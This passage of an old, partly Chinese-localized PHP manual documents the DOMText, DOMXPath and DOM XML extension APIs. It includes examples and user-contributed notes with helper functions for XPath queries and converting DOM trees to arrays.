$element = $dom->appendChild(new DOMElement('root'));
$text = $element->appendChild(new DOMText('root value'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root>root value</root> */

?>

参见

DOMDocument->createTextNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMProcessingInstruction->__construct() | 上一级 | DOMText->isWhitespaceInElementContent()


DOMText->isWhitespaceInElementContent()

(no version information, might be only in CVS)

DOMText->isWhitespaceInElementContent() -- Indicates whether this text node contains whitespace

说明

class DOMText {

bool isWhitespaceInElementContent ( void )

}

Indicates whether this text node contains whitespace. The text node is determined to contain whitespace in element content during the load of the document.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
permidion at yahoo dot com
28-Oct-2004 11:30
if you have an xml element such as <name>Foo Bar</name> (note the space), isWhitespaceInElementContent will return false.
However it will return true for <name><name> or <name/>
so, that function can be used to determine if the element has a text content or not
add a note add a note

后退 | 起点 | 前进
DOMText->__construct() | 上一级 | DOMText->splitText()


DOMText->splitText()

(no version information, might be only in CVS)

DOMText->splitText() -- Breaks this node into two nodes at the specified offset

说明

class DOMText {

DOMText splitText ( int offset )

}

Breaks this node into two nodes at the specified offset, keeping both in the tree as siblings.

After being split, this node will contain all the content up to the offset. If the original node had a parent node, the new node is inserted as the next sibling of the original node. When the offset is equal to the length of this node, the new node has no data.

参数

offset

The offset at which to split, starting from 0.

返回值

The new node of the same type, which contains all the content at and after the offset.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMText->isWhitespaceInElementContent() | 上一级 | DOMXPath->__construct()


DOMXPath->__construct()

(no version information, might be only in CVS)

DOMXPath->__construct() -- Creates a new DOMXPath object

说明

class DOMXPath {

__construct ( DOMDocument doc )

}

Creates a new DOMXPath object.

参数

doc

The DOMDocument associated with the DOMXPath.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMText->splitText() | 上一级 | DOMXPath->evaluate()


DOMXPath->evaluate()

(no version information, might be only in CVS)

DOMXPath->evaluate() -- Evaluates the given XPath expression and returns a typed result if possible.

说明

class DOMXPath {

mixed evaluate ( string expression [, DOMNode contextnode] )

}

Executes the given XPath expression and returns a typed result if possible.

参数

expression

The XPath expression to execute.

contextnode

The optional contextnode can be specified for doing relative XPath queries. By default, the queries are relative to the root element.

返回值

Returns a typed result if possible or a DOMNodeList containing all nodes matching the given XPath expression.

范例

例子 1. Getting the count of all the english books

<?php

$doc = new DOMDocument;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

$tbody = $doc->getElementsByTagName('tbody')->item(0);

// our query is relative to the tbody node
$query = 'count(row/entry[. = "en"])';

$entries = $xpath->evaluate($query, $tbody);
echo "There are $entries english books\n";

?>

上例将输出：

There are 2 english books

参见

DOMXPath->query()

add a note add a note User Contributed Notes
yuriucsal at NOSPAM dot yahoo dot com dot br
07-Mar-2005 04:55
this class can substitute the method evaluate while it is not validated. Made for Yuri Bastos and Joo Gilberto Magalhes.

<?php

   class XPtahQuery
   {
       // function returns a DOMNodeList from a relative xPath
       public static function selectNodes($pNode, $xPath)
       {

           $pos = strpos(self::getFullXpath($pNode),"/",1);
           $xPathQuery = substr(self::getFullXpath($pNode),$pos);//to paste  /#document[1]/
           $xPathQueryFull = $xPathQuery. $xPath;
           $domXPath = new DOMXPath($pNode->ownerDocument);
           $rNodeList = $domXPath->query($xPathQueryFull);

               return $rNodeList;
       }
       // function returns a DOMNode from a xPath from other DOMNode
       public static function selectSingleNode($pNode, $xPath)
       {

           $pos = strpos(self::getFullXpath($pNode),"/",1);
           $xPathQuery = substr(self::getFullXpath($pNode),$pos);//to paste  /#document[1]/
           $xPathQueryFull = $xPathQuery. $xPath;
           $domXPath = new DOMXPath($pNode->ownerDocument);
           $rNode = $domXPath->query($xPathQueryFull)->item(0);

               return $rNode;
       }
       //utilitaries functions off selectSingleNode
       private function getNodePos($pNode, $nodeName)
       {
           if($pNode == null)
               {
                       return 0;
           }
           else
           {
               $var = 0;
                   if ($pNode->previousSibling != null)
                   {
                   if ($pNode->previousSibling->nodeName == $nodeName)
                   {
                       $var = 1;
                   }
                   }
                   return self::getNodePos($pNode->previousSibling, $nodeName) + $var;
           }
       }
       //utilitaries functions off selectSingleNode
       private function getFullXpath($pNode)
       {
           if($pNode == null)
               {
                       return "";
           }
           else
           {

               return self::getFullXpath($pNode->parentNode) . "/" . $pNode->nodeName . "[" .strval(self::getNodePos($pNode, $pNode->nodeName)+1) . "]";//+1 to get the real xPath index

           }
       }
   }
?>
ernest at vogelsinger dot at
24-Jan-2005 02:54
The DOMXPath::evaluate() method will not be available before v.5.1 (see bug database #31593). Only query() is available, which cannot evaluate all XPath expressions,such as count() or not().
add a note add a note

后退 | 起点 | 前进
DOMXPath->__construct() | 上一级 | DOMXPath->query()


DOMXPath->query()

(no version information, might be only in CVS)

DOMXPath->query() -- Evaluates the given XPath expression

说明

class DOMXPath {

DOMNodeList query ( string expression [, DOMNode contextnode] )

}

Executes the given XPath expression.

参数

expression

The XPath expression to execute.

contextnode

The optional contextnode can be specified for doing relative XPath queries. By default, the queries are relative to the root element.

返回值

Returns a DOMNodeList containing all nodes matching the given XPath expression. Any expression which do not return nodes will return an empty DOMNodeList.

范例

例子 1. Getting all the english books

<?php

$doc = new DOMDocument;

// We don't want to bother with white spaces
$doc->preserveWhiteSpace = false;

$doc->Load('book.xml');

$xpath = new DOMXPath($doc);

// We starts from the root element
$query = '//book/chapter/para/informaltable/tgroup/tbody/row/entry[. = "en"]';

$entries = $xpath->query($query);

foreach ($entries as $entry) {
    echo "Found {$entry->previousSibling->previousSibling->nodeValue}," .
         " by {$entry->previousSibling->nodeValue}\n";
}
?>

上例将输出：

Found The Grapes of Wrath, by John Steinbeck
Found The Pearl, by John Steinbeck

We can also use the contextnode parameter to shorten our expression:

<?php

$doc = new DOMDocument;
$doc->preserveWhiteSpace = false;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

$tbody = $doc->getElementsByTagName('tbody')->item(0);

// our query is relative to the tbody node
$query = 'row/entry[. = "en"]';

$entries = $xpath->query($query, $tbody);

foreach ($entries as $entry) {
    echo "Found {$entry->previousSibling->previousSibling->nodeValue}," .
         " by {$entry->previousSibling->nodeValue}\n";
}
?>

参见

DOMXPath->evaluate()

add a note add a note User Contributed Notes
ckrack at i-z dot de
23-Dec-2005 11:27
tried finding a node by it's text content?

// Get all elements that equal the string "test"
$query = "//*[.='test']";
jakob dot voss at nichtich dot de
14-Nov-2005 04:33
You can transform the result nodes into new DOMDocument objects this way:

<?php
$result = $xpath->query($query);
$resultNode = $result->item(0);
$newDom = new DOMDocument;
$newDom->appendChild($newDom->importNode($resultNode,1));

print "<pre>" . htmlspecialchars($newDom->saveXML()) . "</pre>";
?>
Eric Hanson
13-Jul-2005 08:40
Two great XPath references follow.

XPath in Five Paragraphs (finally!):
http://www.rpbourret.com/xml/XPathIn5.htm

The w3c spec actually has a bunch of helpful examples:
http://www.w3.org/TR/xpath#location-paths
add a note add a note

后退 | 起点 | 前进
DOMXPath->evaluate() | 上一级 | DOMXPath->registerNamespace()


DOMXPath->registerNamespace()

(no version information, might be only in CVS)

DOMXPath->registerNamespace() -- Registers the namespace with the DOMXPath object

说明

class DOMXPath {

bool registerNamespace ( string prefix, string namespaceURI )

}

Registers the namespaceURI and prefix with the DOMXPath object.

参数

prefix

The prefix.

namespaceURI

The URI of the namespace.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
spam at spam dot spam
01-Apr-2005 04:46
It is mentioned in a few places on the web, but it wasn't mentioned here. You need to use this function to set up a prefix for the default namespace of a document.

For instance, if you are trying to parse a Microsoft Spreadsheet XML file, which has the default namespace of "urn:schemas-microsoft-com:office:spreadsheet":

$doc = DOMDocument::load("my_spreadsheet.xml);
$xpath = new DOMXPath($doc);
$xpath->registerNamespace("m",
       "urn:schemas-microsoft-com:office:spreadsheet");
$query = '/m:Workbook/m:Worksheet[1]/m:Table';
$result = $xpath->query($query, $doc);

You can use anything in place of the 'm', but you have to specify something! Just asking for "/Workbook/Worksheet/Table" doesn't work.
add a note add a note

后退 | 起点 | 前进
DOMXPath->query() | 上一级 | dom_import_simplexml


dom_import_simplexml

(PHP 5)

dom_import_simplexml -- Gets a DOMElement object from a SimpleXMLElement object

说明

DOMElement dom_import_simplexml ( SimpleXMLElement node )

This function takes the node node of class SimpleXML and makes it into a DOMElement node. This new object can then be used as a native DOMElement node.

参数

node

The SimpleXMLElement node.

返回值

The DOMElement node added or FALSE if any errors occur.

范例

例子 1. Import SimpleXML into DOM with dom_import_simplexml()

<?php

$sxe = simplexml_load_string('<books><book><title>blah</title></book></books>');

if ($sxe === false) {
    echo 'Error while parsing the document';
    exit;
}

$dom_sxe = dom_import_simplexml($sxe);
if (!$dom_sxe) {
    echo 'Error while converting XML';
    exit;
}

$dom = new DOMDocument('1.0');
$dom_sxe = $dom->importNode($dom_sxe, true);
$dom_sxe = $dom->appendChild($dom_sxe);

echo $dom->saveXML();

?>

参见

simplexml_import_dom()

add a note add a note User Contributed Notes
justinpatrin at php dot net
02-Jun-2006 12:44
I've found that newer versions of PHP5 require some special syntax in order to properly convert between SimpleXML and DOM. It's not as easy as calling dom_import_simplexml() with a SimpleXML node. To get a proper DOM document (which you need to do most things) you need:
<?php
//$xml is a SimpleXML instance
$domnode = dom_import_simplexml($xml);
$dom = new DOMDocument();
$domnode = $dom->importNode($domnode, true);
$dom->appendChild($domnode);
?>

Switching back, though, is, well...simple.

<?php
//$dom is a DOMDocument instance
$xml = simplexml_import_dom($dom);
?>
add a note add a note

后退 | 起点 | 前进
DOMXPath->registerNamespace() | 上一级 | DOM XML Functions


DOM XML Functions

PHP 手册
后退 前进

XXX. DOM XML Functions

简介

The DOM XML extension has been overhauled in PHP 4.3.0 to better comply with the DOM standard. The extension still contains many old functions, but they should no longer be used. In particular, functions that are not object-oriented should be avoided.

The extension allows you to operate on an XML document with the DOM API. It also provides a function domxml_xmltree() to turn the complete XML document into a tree of PHP objects. Currently, this tree should be considered read-only - you can modify it, but this would not make any sense since DomDocument_dump_mem() cannot be applied to it. Therefore, if you want to read an XML file and write a modified version, use DomDocument_create_element(), DomDocument_create_text_node(), set_attribute(), etc. and finally the DomDocument_dump_mem() function.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.0.0.

注: This extension is no longer marked experimental. It will, however, never be released with PHP 5, and will only be distributed with PHP 4. If you need DOM XML support with PHP 5 you can use the DOM extension. This domxml extension is not compatible with the DOM extension.

需求

This extension makes use of the GNOME XML library. Download and install this library. You will need at least libxml-2.4.14. To use DOM XSLT features you can use the libxslt library and EXSLT enhancements from http://www.exslt.org/. Download and install these libraries if you plan to use (enhanced) XSLT features. You will need at least libxslt-1.0.18.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/domxml.

在 PHP 4 中本 PECL 扩展的源程序位于 PHP 源程序中的 ext/ 目录下或者在上面的 PECL 连接中。 This extension is only available if PHP was configured with --with-dom[=DIR]. Add --with-dom-xslt[=DIR] to include DOM XSLT support. DIR is the libxslt install directory. Add --with-dom-exslt[=DIR] to include DOM EXSLT support, where DIR is the libexslt install directory.

Windows users will enable php_domxml.dll inside of php.ini in order to use these functions. 在 PHP 4 中本 DLL 位于 PHP Windows 执行包中的 extensions/ 目录下。 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。 Also, there is one additional DLL that must be made available to your system's PATH in order for this extension to work. In PHP 4 this is in the dlls/ directory. It's name: For PHP <= 4.2.0, it's libxml2.dll. For PHP >= 4.3.0, it's iconv.dll. And as of PHP 5.0.0, iconv is compiled into your Windows PHP binaries by default so no extra DLL is needed.

Deprecated functions

There are quite a few functions that do not fit into the DOM standard and should no longer be used. These functions are listed in the following table. The function DomNode_append_child() has changed its behaviour. It now adds a child and not a sibling. If this breaks your application, use the non-DOM function DomNode_append_sibling().

表格 1. Deprecated functions and their replacements

Old function | New function
xmldoc | domxml_open_mem()
xmldocfile | domxml_open_file()
domxml_new_xmldoc | domxml_new_doc()
domxml_dump_mem | DomDocument_dump_mem()
domxml_dump_mem_file | DomDocument_dump_file()
DomDocument_dump_mem_file | DomDocument_dump_file()
DomDocument_add_root | DomDocument_create_element() followed by DomNode_append_child()
DomDocument_dtd | DomDocument_doctype()
DomDocument_root | DomDocument_document_element()
DomDocument_children | DomNode_child_nodes()
DomDocument_imported_node | No replacement.
DomNode_add_child | Create a new node with e.g. DomDocument_create_element() and add it with DomNode_append_child().
DomNode_children | DomNode_child_nodes()
DomNode_parent | DomNode_parent_node()
DomNode_new_child | Create a new node with e.g. DomDocument_create_element() and add it with DomNode_append_child().
DomNode_set_content | Create a new node with e.g. DomDocument_create_text_node() and add it with DomNode_append_child().
DomNode_get_content | Content is just a text node and can be accessed with DomNode_child_nodes().
DomNode_set_content | Content is just a text node and can be added with DomNode_append_child().

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

表格 2. XML constants

Constant | Value | Description
XML_ELEMENT_NODE (integer) | 1 | Node is an element
XML_ATTRIBUTE_NODE (integer) | 2 | Node is an attribute
XML_TEXT_NODE (integer) | 3 | Node is a piece of text
XML_CDATA_SECTION_NODE (integer) | 4 |
XML_ENTITY_REF_NODE (integer) | 5 |
XML_ENTITY_NODE (integer) | 6 | Node is an entity like &nbsp;
XML_PI_NODE (integer) | 7 | Node is a processing instruction
XML_COMMENT_NODE (integer) | 8 | Node is a comment
XML_DOCUMENT_NODE (integer) | 9 | Node is a document
XML_DOCUMENT_TYPE_NODE (integer) | 10 |
XML_DOCUMENT_FRAG_NODE (integer) | 11 |
XML_NOTATION_NODE (integer) | 12 |
XML_GLOBAL_NAMESPACE (integer) | 1 |
XML_LOCAL_NAMESPACE (integer) | 2 |
XML_HTML_DOCUMENT_NODE (integer) |  |
XML_DTD_NODE (integer) |  |
XML_ELEMENT_DECL_NODE (integer) |  |
XML_ATTRIBUTE_DECL_NODE (integer) |  |
XML_ENTITY_DECL_NODE (integer) |  |
XML_NAMESPACE_DECL_NODE (integer) |  |
XML_ATTRIBUTE_CDATA (integer) |  |
XML_ATTRIBUTE_ID (integer) |  |
XML_ATTRIBUTE_IDREF (integer) |  |
XML_ATTRIBUTE_IDREFS (integer) |  |
XML_ATTRIBUTE_ENTITY (integer) |  |
XML_ATTRIBUTE_NMTOKEN (integer) |  |
XML_ATTRIBUTE_NMTOKENS (integer) |  |
XML_ATTRIBUTE_ENUMERATION (integer) |  |
XML_ATTRIBUTE_NOTATION (integer) |  |
XPATH_UNDEFINED (integer) |  |
XPATH_NODESET (integer) |  |
XPATH_BOOLEAN (integer) |  |
XPATH_NUMBER (integer) |  |
XPATH_STRING (integer) |  |
XPATH_POINT (integer) |  |
XPATH_RANGE (integer) |  |
XPATH_LOCATIONSET (integer) |  |
XPATH_USERS (integer) |  |
XPATH_NUMBER (integer) |  |

Classes

The API of the module follows the DOM Level 2 standard as closely as possible. Consequently, the API is fully object-oriented. It is a good idea to have the DOM standard available when using this module. Though the API is object-oriented, there are many functions which can be called in a non-object-oriented way by passing the object to operate on as the first argument. These functions are mainly to retain compatibility to older versions of the extension, and should not be used when creating new scripts.

This API differs from the official DOM API in two ways. First, all class attributes are implemented as functions with the same name. Secondly, the function names follow the PHP naming convention. This means that a DOM function lastChild() will be written as last_child().

This module defines a number of classes, which are listed - including their method - in the following tables. Classes with an equivalent in the DOM standard are named DOMxxx.

表格 3. List of classes

Class name | Parent classes
DomAttribute | DomNode
DomCData | DomNode
DomComment | DomCData : DomNode
DomDocument | DomNode
DomDocumentType | DomNode
DomElement | DomNode
DomEntity | DomNode
DomEntityReference | DomNode
DomProcessingInstruction | DomNode
DomText | DomCData : DomNode
Parser | Currently still called DomParser
XPathContext |

表格 4. DomDocument class (DomDocument : DomNode)

Method name | Function name | Remark
doctype | DomDocument_doctype() |
document_element | DomDocument_document_element() |
create_element | DomDocument_create_element() |
create_text_node | DomDocument_create_text_node() |
create_comment | DomDocument_create_comment() |
create_cdata_section | DomDocument_create_cdata_section() |
create_processing_instruction | DomDocument_create_processing_instruction() |
create_attribute | DomDocument_create_attribute() |
create_entity_reference | DomDocument_create_entity_reference() |
get_elements_by_tagname | DomDocument_get_elements_by_tagname() |
get_element_by_id | DomDocument_get_element_by_id() |
dump_mem | DomDocument_dump_mem() | not DOM standard
dump_file | DomDocument_dump_file() | not DOM standard
html_dump_mem | DomDocument_html_dump_mem() | not DOM standard
xpath_init | xpath_init | not DOM standard
xpath_new_context | xpath_new_context | not DOM standard
xptr_new_context | xptr_new_context | not DOM standard

表格 5. DomElement class (DomElement : DomNode)

Method name | Function name | Remark
tagname | DomElement_tagname() |
get_attribute | DomElement_get_attribute() |
set_attribute | DomElement_set_attribute() |
remove_attribute | DomElement_remove_attribute() |
get_attribute_node | DomElement_get_attribute_node() |
get_elements_by_tagname | DomElement_get_elements_by_tagname() |
has_attribute | DomElement_has_attribute() |

表格 6. DomNode class

Method name | Remark
DomNode_node_name() |
DomNode_node_value() |
DomNode_node_type() |
DomNode_last_child() |
DomNode_first_child() |
DomNode_child_nodes() |
DomNode_previous_sibling() |
DomNode_next_sibling() |
DomNode_parent_node() |
DomNode_owner_document() |
DomNode_insert_before() |
DomNode_append_child() |
DomNode_append_sibling() | Not in DOM standard. This function emulates the former behaviour of DomNode_append_child().
DomNode_remove_child() |
DomNode_has_child_nodes() |
DomNode_has_attributes() |
DomNode_clone_node() |
DomNode_attributes() |
DomNode_unlink_node() | Not in DOM standard
DomNode_replace_node() | Not in DOM standard
DomNode_set_content() | Not in DOM standard, deprecated
DomNode_get_content() | Not in DOM standard, deprecated
DomNode_dump_node() | Not in DOM standard
DomNode_is_blank_node() | Not in DOM standard

表格 7. DomAttribute class (DomAttribute : DomNode)

Method name |  | Remark
name | DomAttribute_name() |
value | DomAttribute_value() |
specified | DomAttribute_specified() |

表格 8. DomProcessingInstruction class (DomProcessingInstruction : DomNode)

Method name | Function name | Remark
target | DomProcessingInstruction_target() |
data | DomProcessingInstruction_data() |

表格 9. Parser class

Method name | Function name | Remark
add_chunk | Parser_add_chunk() |
end | Parser_end() |

表格 10. XPathContext class

Method name | Function name | Remark
eval | XPathContext_eval() |
eval_expression | XPathContext_eval_expression() |
register_ns | XPathContext_register_ns() |

表格 11. DomDocumentType class (DomDocumentType : DomNode)

Method name | Function name | Remark
name | DomDocumentType_name() |
entities | DomDocumentType_entities() |
notations | DomDocumentType_notations() |
public_id | DomDocumentType_public_id() |
system_id | DomDocumentType_system_id() |
internal_subset | DomDocumentType_internal_subset() |

The classes DomDtd is derived from DomNode. DomComment is derived from DomCData.

范例

Many examples in this reference require an XML string. Instead of repeating this string in every example, it will be put into a file which will be included by each example. This include file is shown in the following example section. Alternatively, you could create an XML document and read it with DomDocument_open_file().

例子 1. Include file example.inc with XML string

<?php
$xmlstr = "<?xml version='1.0' standalone='yes'?>
<!DOCTYPE chapter SYSTEM '/share/sgml/Norman_Walsh/db3xml10/db3xml10.dtd'
[ <!ENTITY sp \"spanish\">
]>
<!-- lsfj  -->
<chapter language='en'><title language='en'>Title</title>
<para language='ge'>
  &sp;
  <!-- comment -->
  <informaltable ID='findme' language='&sp;'>
   <tgroup cols='3'>
    <tbody>
     <row><entry>a1</entry><entry
morerows='1'>b1</entry><entry>c1</entry></row>
<row><entry>a2</entry><entry>c2</entry></row>
     <row><entry>a3</entry><entry>b3</entry><entry>c3</entry></row>
    </tbody>
   </tgroup>
  </informaltable>
</para>
</chapter>";
?>

目录
DomAttribute->name -- Returns the name of attribute
DomAttribute->set_value -- Sets the value of an attribute
DomAttribute->specified -- Checks if attribute is specified
DomAttribute->value -- Returns value of attribute
DomDocument->add_root -- Adds a root node [deprecated]
DomDocument->create_attribute -- Create new attribute
DomDocument->create_cdata_section -- Create new cdata node
DomDocument->create_comment -- Create new comment node
DomDocument->create_element_ns -- Create new element node with an associated namespace
DomDocument->create_element -- Create new element node
DomDocument->create_entity_reference -- Create an entity reference
DomDocument->create_processing_instruction -- Creates new PI node
DomDocument->create_text_node -- Create new text node
DomDocument->doctype -- Returns the document type
DomDocument->document_element -- Returns root element node
DomDocument->dump_file -- Dumps the internal XML tree back into a file
DomDocument->dump_mem -- Dumps the internal XML tree back into a string
DomDocument->get_element_by_id -- Searches for an element with a certain id
DomDocument->get_elements_by_tagname -- Returns array with nodes with given tagname in document or empty array, if not found
DomDocument->html_dump_mem -- Dumps the internal XML tree back into a string as HTML
DomDocument->xinclude -- Substitutes XIncludes in a DomDocument Object
DomDocumentType->entities() -- Returns list of entities
DomDocumentType->internal_subset() -- Returns internal subset
DomDocumentType->name() -- Returns name of document type
DomDocumentType->notations() -- Returns list of notations
DomDocumentType->public_id() -- Returns public id of document type
DomDocumentType->system_id() -- Returns the system id of document type
DomElement->get_attribute_node() -- Returns the node of the given attribute
DomElement->get_attribute() -- Returns the value of the given attribute
DomElement->get_elements_by_tagname() -- Gets elements by tagname
DomElement->has_attribute() -- Checks to see if an attribute exists in the current node
DomElement->remove_attribute() -- Removes attribute
DomElement->set_attribute() -- Sets the value of an attribute
DomElement->tagname() -- Returns the name of the current element
DomNode->add_namespace -- Adds a namespace declaration to a node
DomNode->append_child -- Adds a new child at the end of the children
DomNode->append_sibling -- Adds new sibling to a node
DomNode->attributes -- Returns list of attributes
DomNode->child_nodes -- Returns children of node
DomNode->clone_node -- Clones a node
DomNode->dump_node -- Dumps a single node
DomNode->first_child -- Returns first child of node
DomNode->get_content -- Gets content of node
DomNode->has_attributes -- Checks if node has attributes
DomNode->has_child_nodes -- Checks if node has children
DomNode->insert_before -- Inserts new node as child
DomNode->is_blank_node -- Checks if node is blank
DomNode->last_child -- Returns last child of node
DomNode->next_sibling -- Returns the next sibling of node
DomNode->node_name -- Returns name of node
DomNode->node_type -- Returns type of node
DomNode->node_value -- Returns value of a node
DomNode->owner_document -- Returns the document this node belongs to
DomNode->parent_node -- Returns the parent of the node
DomNode->prefix -- Returns name space prefix of node
DomNode->previous_sibling -- Returns the previous sibling of node
DomNode->remove_child -- Removes child from list of children
DomNode->replace_child -- Replaces a child
DomNode->replace_node -- Replaces node
DomNode->set_content -- Sets content of node
DomNode->set_name -- Sets name of node
DomNode->set_namespace -- Sets namespace of a node
DomNode->unlink_node -- Deletes node
DomProcessingInstruction->data -- Returns the data of ProcessingInstruction node
DomProcessingInstruction->target -- Returns the target of a ProcessingInstruction node
DomXsltStylesheet->process() -- Applies the XSLT-Transformation on a DomDocument Object
DomXsltStylesheet->result_dump_file() -- Dumps the result from a XSLT-Transformation into a file
DomXsltStylesheet->result_dump_mem() -- Dumps the result from a XSLT-Transformation back into a string
domxml_new_doc -- Creates new empty XML document
domxml_open_file -- Creates a DOM object from an XML file
domxml_open_mem -- Creates a DOM object of an XML document
domxml_version -- Gets the XML library version
domxml_xmltree -- Creates a tree of PHP objects from an XML document
domxml_xslt_stylesheet_doc -- Creates a DomXsltStylesheet Object from a DomDocument Object
domxml_xslt_stylesheet_file -- Creates a DomXsltStylesheet Object from an XSL document in a file
domxml_xslt_stylesheet -- Creates a DomXsltStylesheet object from an XSL document in a string
domxml_xslt_version -- Gets the XSLT library version
xpath_eval_expression -- Evaluates the XPath Location Path in the given string
xpath_eval -- Evaluates the XPath Location Path in the given string
xpath_new_context -- Creates new xpath context
xpath_register_ns_auto -- Register the given namespace in the passed XPath context
xpath_register_ns -- Register the given namespace in the passed XPath context
xptr_eval -- Evaluate the XPtr Location Path in the given string
xptr_new_context -- Create new XPath Context

add a note add a note User Contributed Notes
junk at gieson dot com
30-Jan-2006 12:13
### Moderator:
### This is a very slight tweak to to the dom_to_simple_array function posted earliers by jas at uci dot edu. I recommend just editing the previous post rather than posting the function again.

---------------------------------

The previously posted dom_to_simple_array function has a slight error, which prevents PHP from processing if there are attributes present.

The line that reads:
$attributes = $domnode->attributes();

... should read:
$attributes = $domnode->attributes;

---------------------------------

Here is the full code again with the correction:

function dom_to_simple_array($domnode, &$array) {
  $array_ptr = &$array;
  $domnode = $domnode->firstChild;
  while (!is_null($domnode)) {
   if (! (trim($domnode->nodeValue) == "") ) {
     switch ($domnode->nodeType) {
       case XML_TEXT_NODE: {
         $array_ptr['cdata'] = $domnode->nodeValue;
         break;
       }
       case XML_ELEMENT_NODE: {
         $array_ptr = &$array[$domnode->nodeName][];
         if ($domnode->hasAttributes() ) {
           $attributes = $domnode->attributes;
           if (!is_array ($attributes)) {
             break;
           }
           foreach ($attributes as $index => $domobj) {
             $array_ptr[$index] = $array_ptr[$domobj->name] = $domobj->value;
           }
         }
         break;
       }
     }
     if ( $domnode->hasChildNodes() ) {
       dom_to_simple_array($domnode, $array_ptr);
     }
   }
   $domnode = $domnode->nextSibling;
  }
}
Palatinusz - karoly_szalkary at yahoo dot com
25-Jan-2006 08:05
My short way of parsing an XML document, for example displaying the document in a structured form:

<?php
$indent = "";
$file = "semi.xml";

$showfile = file_get_contents("c:/Program Files/Apache Group/apache/htdocs/phpxml" . "/" . $file);  // whatever path
   // maybe the whole path is not important, look it up in other posts

$newstring=utf8_encode($showfile);          // it's important!
if(!$domDocument = domxml_open_mem($newstring)) {
   echo "Couldn't load xml...";
   exit;
}

$rootDomNode = $domDocument->document_element();
print "<pre>";
printElements($rootDomNode);
print "</pre>";

function printElements($domNode)
{
  if($domNode)
  {
   global $indent;

   if($domNode->node_type() == XML_ELEMENT_NODE)
   {
     print "<br />".$indent."&lt;".$domNode->node_name();
     if($domNode->has_attributes())
     {
       $attributes = $domNode->attributes();
       foreach($attributes as $domAttribute)
       {
         print " $domAttribute->name=\"$domAttribute->value\"";
       }
     }
     print "&gt;";
     if($domNode->has_child_nodes())
     {
       $indent.="  ";
       $nextNode = $domNode->first_child();
       printElements($nextNode);
       $indent= substr($indent, 0, strlen($indent)-2);
       print "<br />".$indent."&lt;"."/".$domNode->node_name()."&gt;";
     }
     else
     {
       print "$domNode->node_value()&lt;/".$domNode->node_name()."&gt;";
     }
   }

   $nextNode = $domNode->next_sibling();
   printElements($nextNode);
  }
}
?>
Squiz
14-Dec-2005 03:04
Re: websiterepairguys...  Close but no cigar ;-)

As written it will not work if the repeated tags are somewhere other than the first node, i.e. the following will not work:
<nodes>
  <node>onething</node>
  <node>something</node>
  <node>something</node>
</nodes>

You must store the new node name when you get a new sibling that doesn't match the previous and then it will work OK.  Amended code:

function dom_to_array($domnode, &$array) {
  $parent=$domnode;
  $domnode = $domnode->firstChild;
  $myname=$domnode->nodeName;
  $x=1;
  while (!is_null($domnode)) {
     switch ($domnode->nodeType) {
       case XML_ELEMENT_NODE: {
           if ( !$domnode->hasChildNodes()) {
             $array[$domnode->nodeName]='';
           } else if ( $domnode->hasChildNodes() && $domnode->firstChild->nodeType==XML_TEXT_NODE) {
             $array[$domnode->nodeName]=$domnode->firstChild->nodeValue;
           } else if ( $domnode->hasChildNodes() )  {
             $array_ptr = & $array[$domnode->nodeName];
             dom_to_array($domnode, $array_ptr);
           }
           break;
       }
     }
     $domnode = $domnode->nextSibling;
     if($domnode->nodeName == $myname)
     {
       $domnode->nodeName.=($x++);
     } else {
       $myname = $domnode->nodeName;
     }
  }
}
websiterepairguys at spamnot dot yahoo dot com
12-Nov-2005 01:43
I tried using the dom_to_simple_array that the user jas posted above, but it didnt work very well.

The problems were it didnt handle sibling nodes with the same name, such as:

<nodes>
  <node>something</node>
   <node>something</node>
</nodes>

Also, when it built child arrays from child nodes, it always interjected an wrapping array around the child, which isnt necessary.  Here is the patched code:

function dom_to_array($domnode, &$array) {
  $parent=$domnode;
  $domnode = $domnode->firstChild;
  $myname=$domnode->nodeName;
  $x=1;
  while (!is_null($domnode)) {
     switch ($domnode->nodeType) {

       case XML_ELEMENT_NODE: {

             if ( !$domnode->hasChildNodes()) {
                 $array[$domnode->nodeName]='';
             } else if ( $domnode->hasChildNodes() && $domnode->firstChild->nodeType==XML_TEXT_NODE) {
                 $array[$domnode->nodeName]=$domnode->firstChild->nodeValue;
             } else if ( $domnode->hasChildNodes() )  {

         $array_ptr = & $array[$domnode->nodeName];
           dom_to_array($domnode, $array_ptr);
         break;
       }
   }
   }
         $domnode = $domnode->nextSibling;
       if($domnode->nodeName==$myname)
       {
             $domnode->nodeName.=($x++);
       }
  }
}

snippet of array produced by this:

[admin] => Array
       (
           [menu] => Array
               (
                   [title] => Page Manager
                   [view] => list
               )

           [files] => Array
               (
                   [filename] => modules/testmodule/testmodule.php
                   [filename1] => modules/testmodule/testmodule.xml
                   [filename2] => media/lang/en-us/templates/testmodule.tpl
               )

       )
timo dot hummel at 4fb dot de
07-Jul-2005 03:57
If you want to subclass the domxml-classes, you have to use PHP5. It doesn't work with PHP4, and never will.
steve at find-information-on dot com
12-Feb-2005 08:33
If you are using apache, instead of copying files around (iconv.dll for instance) you can use this in your httpd.conf for apache:

LoadFile "d:/php/dlls/iconv.dll"

I placed this line before

LoadModule php4_module "d:/php/sapi/php4apache2.dll"

and it worked, no copying of files or anything therefore helps when updating php, don't have to mess around searching for files and other stuff.
ndaniel at bsi-scs dot com
22-Dec-2004 09:54
I recently developed a script for parsing DHL XML transaction responses - finding it a pain in the rear to actually parse the XML and set my variables - it actually wasn't that hard once I figured it out - and it goes something like this...

<?php

// Use with a class containing functions set_attributes() and
// set_data().  Use the following to set variables from the
// resulting xml.  $node is a dom xml object - in the first call
// to loop, $node would be equal to the root document
// element.

function loop($node) {
 // set attribute tags here
 if ($node->has_attributes()) {
   $this->set_attributes($node);
